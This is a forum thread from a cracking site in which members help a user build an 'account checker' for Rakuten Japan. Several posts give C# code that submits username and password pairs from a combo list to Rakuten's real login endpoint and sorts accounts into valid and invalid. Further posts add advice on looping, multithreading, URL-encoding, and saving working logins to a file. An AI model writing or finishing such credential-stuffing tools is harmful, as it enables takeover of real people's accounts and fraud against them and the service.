Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!

cracked.io | Best Forum Around | Free Premium Accounts




 4665

C# [HELP] Account Checker How to Make?

by ameirogs - 30 April, 2020 - 01:33 PM
This post is by a banned member (ameirogs) - Unhide
ameirogs  
Infinity
6
Posts
1
Threads
4 Years of service
#1
I want to make an account checker for the following sites Can anyone make it Or want to know how
https://www.rakuten.co.jp/
This post is by a banned member (Crxckz) - Unhide
This post is by a banned member (ameirogs) - Unhide
ameirogs  
Infinity
6
Posts
1
Threads
4 Years of service
#3
(30 April, 2020 - 04:30 PM)Crxckz Wrote: Show More
This works fine for me, using Leaf.xNet.dll. Replicate something similar.
Quote:using (HttpRequest requrest = new HttpRequest())
{
         request.UserAgent = Http.ChromeUserAgent();
         request.Cookies = new CookieStorage();
         request.Proxy = null;     
         request.IgnoreProtocolErrors = true;
         request.AllowAutoRedirect = true;
         request.KeepAlive = true;
         request.AddHeader(HttpHeader.AcceptLanguage, "en-US,en;q=0.9");

         string username = email;
         string password = password;

         string response = request.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", $"u={username}&p={password}", "application/x-www-form-urlencoded").ToString();

         if (response.Contains("Please select your user contact address"))
         {
                 WriteColor("Valid account!", ConsoleColor.Green);
                 //Write to file
                 checks++;
                 alive++;
         }
         else if (response.Contains("Have you entered your User ID"))
         {
                  WriteColor("Invalid account!", ConsoleColor.Red);
                  checks++;
                  dead++;
         }
}

thanks 

string username = email;
string password = password;

WriteColor("Valid account!", ConsoleColor.Green);
                 //Write to file
                 checks++;
                 alive++;

I get a compile error in this part, but is it wrong?
This post is by a banned member (Crxckz) - Unhide
This post is by a banned member (Suspect) - Unhide
Suspect  
Registered
75
Posts
2
Threads
4 Years of service
#5
(This post was last modified: 02 May, 2020 - 01:06 AM by Suspect.)
(01 May, 2020 - 01:54 PM)ameirogs Wrote: Show More
(30 April, 2020 - 04:30 PM)Crxckz Wrote: Show More
This works fine for me, using Leaf.xNet.dll. Replicate something similar.
Quote:using (HttpRequest requrest = new HttpRequest())
{
         request.UserAgent = Http.ChromeUserAgent();
         request.Cookies = new CookieStorage();
         request.Proxy = null;     
         request.IgnoreProtocolErrors = true;
         request.AllowAutoRedirect = true;
         request.KeepAlive = true;
         request.AddHeader(HttpHeader.AcceptLanguage, "en-US,en;q=0.9");

         string username = email;
         string password = password;

         string response = request.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", $"u={username}&p={password}", "application/x-www-form-urlencoded").ToString();

         if (response.Contains("Please select your user contact address"))
         {
                 WriteColor("Valid account!", ConsoleColor.Green);
                 //Write to file
                 checks++;
                 alive++;
         }
         else if (response.Contains("Have you entered your User ID"))
         {
                  WriteColor("Invalid account!", ConsoleColor.Red);
                  checks++;
                  dead++;
         }
}

thanks 

string username = email;
string password = password;

WriteColor("Valid account!", ConsoleColor.Green);
                 //Write to file
                 checks++;
                 alive++;

I get a compile error in this part, but is it wrong?

Make sure you have you are assigning already declared variables as well. Also if this is going to be used within a multithreaded Environment you need to be using Interlocked.Increment(ref checks); same with alive. As interlocked makes sure that it adds the number with Thread Safety otherwise it is not thread safe.

 
This post is by a banned member (ameirogs) - Unhide
ameirogs  
Infinity
6
Posts
1
Threads
4 Years of service
#6
(This post was last modified: 02 May, 2020 - 03:22 AM by ameirogs.)
(01 May, 2020 - 02:12 PM)Crxckz Wrote: Show More
(01 May, 2020 - 01:54 PM)ameirogs Wrote: Show More
(30 April, 2020 - 04:30 PM)Crxckz Wrote: Show More
This works fine for me, using Leaf.xNet.dll. Replicate something similar.

thanks 

string username = email;
string password = password;

WriteColor("Valid account!", ConsoleColor.Green);
                 //Write to file
                 checks++;
                 alive++;

I get a compile error in this part, but is it wrong?

The code is fine, for WriteColor create a new method like:
Code:
private static void WriteColor(string text, ConsoleColor color)
{
    Console.ForegroundColor = color;
    Console.WriteLine(text);
    Console.ForegroundColor = ConsoleColor.White;
}

You'll also need to loop through the accounts using a foreach loop to get the email and password from an account/combo list.
You'll need to create int variables called "checks", "alive" and "dead" to count the working/dead and total accounts.
Where it says "//Write to file" you can use a StreamWriter or something else to write the working accounts into a text file.

Keep in mind, the code I posted is just an example from a method I created, it is working - you'll need to modify and add all of the variables yourself.
Thank you
I managed to struggle, but the following code gives an exception

ArgumentException
Leaf.xNet.HttpException
https://pastebin.com/FmYpsw35
https://pastebin.com/GaJm2hJe
 
Code:
string get = req.Get("https://grp01.id.rakuten.co.jp/rms/nid/login?", null).ToString(); 
string str2 = "&u="+array[0] + "&p=" + array[1] ;
string str3 = req.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", str2).ToString();
This post is by a banned member (Suspect) - Unhide
Suspect  
Registered
75
Posts
2
Threads
4 Years of service
#7
(02 May, 2020 - 03:22 AM)ameirogs Wrote: Show More
(01 May, 2020 - 02:12 PM)Crxckz Wrote: Show More
(01 May, 2020 - 01:54 PM)ameirogs Wrote: Show More
thanks 

string username = email;
string password = password;

WriteColor("Valid account!", ConsoleColor.Green);
                 //Write to file
                 checks++;
                 alive++;

I get a compile error in this part, but is it wrong?

The code is fine, for WriteColor create a new method like:
Code:
private static void WriteColor(string text, ConsoleColor color)
{
    Console.ForegroundColor = color;
    Console.WriteLine(text);
    Console.ForegroundColor = ConsoleColor.White;
}

You'll also need to loop through the accounts using a foreach loop to get the email and password from an account/combo list.
You'll need to create int variables called "checks", "alive" and "dead" to count the working/dead and total accounts.
Where it says "//Write to file" you can use a StreamWriter or something else to write the working accounts into a text file.

Keep in mind, the code I posted is just an example from a method I created, it is working - you'll need to modify and add all of the variables yourself.
Thank you
I managed to struggle, but the following code gives an exception

ArgumentException
Leaf.xNet.HttpException
https://pastebin.com/FmYpsw35
https://pastebin.com/GaJm2hJe
 
Code:
string get = req.Get("https://grp01.id.rakuten.co.jp/rms/nid/login?", null).ToString(); 
string str2 = "&u="+array[0] + "&p=" + array[1] ;
string str3 = req.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", str2).ToString();
You need to UrlEncode your postdata.

 
This post is by a banned member (ameirogs) - Unhide
ameirogs  
Infinity
6
Posts
1
Threads
4 Years of service
#8
(02 May, 2020 - 04:19 PM)Suspect Wrote: Show More
(02 May, 2020 - 03:22 AM)ameirogs Wrote: Show More
(01 May, 2020 - 02:12 PM)Crxckz Wrote: Show More
The code is fine, for WriteColor create a new method like:
Code:
private static void WriteColor(string text, ConsoleColor color)
{
    Console.ForegroundColor = color;
    Console.WriteLine(text);
    Console.ForegroundColor = ConsoleColor.White;
}

You'll also need to loop through the accounts using a foreach loop to get the email and password from an account/combo list.
You'll need to create int variables called "checks", "alive" and "dead" to count the working/dead and total accounts.
Where it says "//Write to file" you can use a StreamWriter or something else to write the working accounts into a text file.

Keep in mind, the code I posted is just an example from a method I created, it is working - you'll need to modify and add all of the variables yourself.
Thank you
I managed to struggle, but the following code gives an exception

ArgumentException
Leaf.xNet.HttpException
https://pastebin.com/FmYpsw35
https://pastebin.com/GaJm2hJe
 
Code:
string get = req.Get("https://grp01.id.rakuten.co.jp/rms/nid/login?", null).ToString(); 
string str2 = "&u="+array[0] + "&p=" + array[1] ;
string str3 = req.Post("https://grp01.id.rakuten.co.jp/rms/nid/login?", str2).ToString();
You need to UrlEncode your postdata.
 What is UrlEncode?

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)